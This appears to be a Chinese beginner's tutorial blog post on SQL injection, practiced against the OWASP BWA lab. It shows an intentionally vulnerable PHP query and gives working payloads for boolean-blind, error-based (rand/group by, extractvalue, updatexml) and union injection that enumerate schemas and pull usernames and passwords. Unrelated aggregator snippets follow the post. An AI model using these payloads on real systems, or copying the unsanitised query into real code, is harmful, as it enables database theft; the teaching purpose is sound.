- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章SQL注入详解(扫盲篇)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。下面这篇文中就SQL注入进行一个深入的介绍,感兴趣的朋友们一起来看看吧.
SQL注入攻击的总体思路 。
1.寻找到SQL注入的位置 。
2.判断服务器类型和后台数据库类型 。
3.针对不通的服务器和数据库特点进行SQL注入攻击 。
关于 SQL Injection(SQL注入) 。
SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令.
学习 SQL 注入,首先要搭一个靶机环境,我使用的是OWASP BWA,感兴趣的可以去官网下载一个安装,除了 SQL 注入,很多靶机环境都可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的.
1
2
3
4
|
$id
=
$_GET
[
'id'
];
$getid
=
"SELECT first_name, last_name FROM users WHERE user_id = '$id'"
;
$result
= mysql_query(
$getid
)
or
die
(
'<pre>'
. mysql_error() .
'</pre>'
);
$num
= mysql_numrows(
$result
);
|
这是一个很简单的 PHP代码,从前台获得 id 的值,交给数据库来执行,把结果返回给前台.
比如我们在 OWASP 里输入 id = 1,点击 Submit,返回结果如下:
稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,我们在 submit 输入框输入的如何内容都会被提交给数据库执行,比如在输入框输入1' or '1'='1,执行就会变成:
1
2
3
4
|
//原先要在数据库中执行的命令
SELECT
first_name, last_name
FROM
users
WHERE
user_id =
'1'
//变成
SELECT
first_name, last_name
FROM
users
WHERE
user_id =
'1'
or
'1'
=
'1'
|
注意一下单引号,这是 SQL 注入中非常重要的一个地方,所以注入代码的最后要补充一个 '1'='1让单引号闭合.
由于 or 的执行,会把数据库表 users 中的所有内容显示出来, 。
下面对三种主要的注入类型进行介绍.
Boolean-based 原理分析 。
首先不得不讲SQL中的AND和OR 。
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来.
AND:返回第一个条件和第二个条件都成立的记录.
OR:返回满足第一个条件或第二个条件的记录.
AND和OR即为集合论中的交集和并集.
下面是一个数据库的查询内容.
1
2
3
4
5
6
7
8
9
|
mysql>
select
*
from
students;
+
-------+-------+-----+
| id |
name
| age |
+
-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+
-------+-------+-----+
3
rows
in
set
(0.00 sec)
|
1) 。
1
2
3
4
5
6
7
8
9
|
mysql>
select
*
from
students
where
TRUE
;
+
-------+-------+-----+
| id |
name
| age |
+
-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+
-------+-------+-----+
3
rows
in
set
(0.00 sec)
|
2) 。
1
2
|
mysql>
select
*
from
students
where
FALSE
;
Empty
set
(0.00 sec)
|
3) 。
1
2
3
4
5
6
7
|
mysql>
SELECT
*
from
students
where
id = 10056
and
TRUE
;
+
-------+-------+-----+
| id |
name
| age |
+
-------+-------+-----+
| 10056 | Doris | 20 |
+
-------+-------+-----+
1 row
in
set
(0.00 sec)
|
4) 。
1
2
|
mysql>
select
*
from
students
where
id = 10056
and
FALSE
;
Empty
set
(0.00 sec)
|
5) 。
1
2
3
4
5
6
7
8
9
|
mysql> selcet *
from
students
where
id = 10056
or
TRUE
;
+
-------+-------+-----+
| id |
name
| age |
+
-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+
-------+-------+-----+
3
rows
in
set
(0.00 sec)
|
6) 。
1
2
3
4
5
6
7
|
mysql>
select
*
from
students
where
id = 10056
or
FALSE
;
+
-------+-------+-----+
| id |
name
| age |
+
-------+-------+-----+
| 10056 | Doris | 20 |
+
-------+-------+-----+
1 row
in
set
(0.00 sec)
|
会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种.
这便是最基础的boolean注入,以此为基础你可以自由组合语句.
字典爆破流 。
1
2
|
and
exists(
select
*
from
?) //?为猜测的表名
and
exists(
select
?
from
x) //?为猜测的列名
|
截取二分流 。
1
2
3
|
and
(length((
select
schema_name
from
information_schema.schemata limit 1))>?) //判断数据库名的长度
and
(substr((
select
schema_name
from
information_schema.schemata limit 1),1,1)>
'?'
)
and
(substr((
select
schema_name
from
information_schema.schemata limit 1),1,1)<
'?'
) //利用二分法判断第一个字符
|
Boolean-based总结 。
根据前面的介绍,我们知道,对于基于Boolean-based的注入,必须要有一个可以正常访问的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15.
为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西.
对于keyword的值,mysql数据库可以使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此类推,就可以获得keyword的在数据库中的值.
Boolean-based的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式.
Error Based 原理分析 。
关于错误回显 。
基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上.
所用到的函数 。
count() 统计元祖的个数(相当于求和) 。
如select count(*) from information_schema.tables; 。
rand()用于产生一个0~1的随机数 。
floor()向下取整 。
group by 依据我们想要的规矩对结果进行分组 。
concat将符合条件的同一列中的不同行数据拼接,以逗号隔开 。
用于错误回显的sql语句 。
第一种: 基于 rand() 与 group by 的错误 。
利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告如下:
1
2
|
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
|
这个bug会爆出duplicate key这个错误,然后顺便就把数据偷到了.
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1' = ‘1 。
第二种: XPATH爆信息 。
这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后使用 。
查看sql手册 。
语法:EXTRACTVALUE (XML_document, XPath_string),
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程.
作用:从目标XML中返回包含所查询值的字符串 。
语法:UPDATEXML (XML_document, XPath_string, new_value),
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程.
第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
作用:改变文档中符合条件的节点的值 。
现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用 。
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1'='1 。
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1'='1 。
基于错误回显的注入,总结起来就一句话,通过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,导致基于错误的注入偷数据的效率并没有那么高,但相对于布尔注入已经提高了一个档次.
union query injection 。
要了解union query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。比如说 。
1
|
SELECT
username,
password
FROM
account;
|
结果是 。
admin 123456 。
1
|
SELECT
id, title
FROM
article
|
的结果是 。
1 Hello, World 。
1
2
3
|
SELECT
username,
password
FROM
account
UNION
SELECT
id, title
FROM
article
|
的结果就是 。
admin 123456 。
1 Hello, World 。
比起多重嵌套的boolean注入,union注入相对轻松。因为,union注入可以直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一起,所有要让union前面的查询返回一个空值,一般采用类似于id=-1的方式.
1) 。
1
2
3
4
5
6
7
8
9
10
11
12
|
mysql>
select
name
from
students
where
id = -1
union
select
schema_name
from
information_schema.schemata; //数据库名
+
--------------------+
|
name
|
+
--------------------+
| information_schema |
| mysql |
| performance_schema |
| rumRaisin |
| t3st |
| test |
+
--------------------+
6
rows
in
set
(0.00 sec)
|
2) 。
1
2
3
4
5
6
7
8
|
mysql>
select
name
from
students
where
id = -1
union
select
table_name
from
information_schema.tables
where
table_schema=
't3st'
; //表名
+
----------+
|
name
|
+
----------+
| master |
| students |
+
----------+
2
rows
in
set
(0.00 sec)
|
3) 。
1
2
3
4
5
6
7
8
9
|
mysql>
select
name
from
students
where
id = -1
union
select
column_name
from
information_schema.columns
where
table_name =
'students'
; //列名
+
------+
|
name
|
+
------+
| id |
|
name
|
| age |
+
------+
3
rows
in
set
(0.00 sec)
|
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.
举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错.
所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户.
猜测列数 。
1
2
3
4
|
-1
union
select
1
-1
union
select
1,2
-1
union
select
1,2,3
//直到页面正常显示
|
比如这条语句 。
1
|
-1
UNION
SELECT
1,2,3,4
|
如果显示的值为3和4,表示该查询结果中有四列,并且第三列和第四列是有用的。则相应的构造union语句如下 。
1
|
-1
UNION
SELECT
1,2,username,
password
FROM
table
|
小结一下 。
SQL 注入大概有5种,还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟),堆栈就是多语句查询,用 ‘;' 把语句隔开,和 union 一样;时间延迟就是利用 sleep() 函数让数据库延迟执行,偷数据的速度很慢。(还有一个第六种,内联注入,但和前面涉及的内容有所重叠,就不单独来讨论了) 。
引用说明,自己之前研究 SQL 注入的时候,也是一点一点摸索的,本博客的大部分内容是来自于公司内网的服务器中(公司定期考核,看你都干了什么)。当时因为是内网,就没有做引用,现在想找到这些引用的文章也很困难,见谅.
好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流.
原文链接:http://yuren.space/blog/2016/10/01/SQL注入详解/ 。
最后此篇关于SQL注入详解(扫盲篇)的文章就讲到这里了,如果你想了解更多关于SQL注入详解(扫盲篇)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
全称“Java Virtual Machine statistics monitoring tool”(statistics 统计;monitoring 监控;tool 工具) 用于监控虚拟机的各种运
主要是讲下Mongodb的索引的查看、创建、删除、类型说明,还有就是Explain执行计划的解释说明。 可以转载,但请注明出处。  
1>单线程或者单进程 相当于短链接,当accept之后,就开始数据的接收和数据的发送,不接受新的连接,即一个server,一个client 不存在并发。 2>循环服务器和并发服务器
详解 linux中的关机和重启命令 一 shutdown命令 shutdown [选项] 时间 选项: ?
首先,将json串转为一个JObject对象: ? 1
matplotlib官网 matplotlib库默认英文字体 添加黑体(‘SimHei')为绘图字体 代码: plt.rcParams['font.sans-serif']=['SimHei'
在并发编程中,synchronized关键字是常出现的角色。之前我们都称呼synchronized关键字为重量锁,但是在jdk1.6中对synchronized进行了优化,引入了偏向锁、轻量锁。本篇
一般我们的项目中会使用1到2个数据库连接配置,同程艺龙的数据库连接配置被收拢到统一的配置中心,由DBA统一配置和维护,业务方通过某个字符串配置拿到的是Connection对象。  
实例如下: ? 1
1. MemoryCahe NetCore中的缓存和System.Runtime.Caching很相似,但是在功能上做了增强,缓存的key支持object类型;提供了泛型支持;可以读缓存和单个缓存
argument是javascript中函数的一个特殊参数,例如下文,利用argument访问函数参数,判断函数是否执行 复制代码 代码如下: <script
一不小心装了一个Redis服务,开了一个全网的默认端口,一开始以为这台服务器没有公网ip,结果发现之后悔之莫及啊 某天发现cpu load高的出奇,发现一个minerd进程 占了大量cpu,googl
今天写这个是为了 提醒自己 编程过程 不仅要有逻辑 思想 还有要规范 代码 这样可读性 1、PHP 编程规范与编码习惯最主要的有以下几点: 1 文件说明 2 funct
摘要:虚拟机安装时一般都采用最小化安装,默认没有lspci工具。一台测试虚拟网卡性能的虚拟机,需要lspci工具来查看网卡的类型。本文描述了在一个虚拟机中安装lspci工具的具体步骤。 由于要测试
1、修改用户进程可打开文件数限制 在Linux平台上,无论编写客户端程序还是服务端程序,在进行高并发TCP连接处理时,最高的并发数量都要受到系统对用户单一进程同时可打开文件数量的限制(这是因为系统
目录 算术运算符 基本四则运算符 增量赋值运算符 自增/自减运算符 关系运算符 逻
如下所示: ? 1
MapperScannerConfigurer之sqlSessionFactory注入方式讲解 首先,Mybatis中的有一段配置非常方便,省去我们去写DaoImpl(Dao层实现类)的时间,这个
Linux的网络虚拟化是LXC项目中的一个子项目,LXC包括文件系统虚拟化,进程空间虚拟化,用户虚拟化,网络虚拟化,等等,这里使用LXC的网络虚拟化来模拟多个网络环境。 本文从基本的网络设备讲
? 1
我是一名优秀的程序员,十分优秀!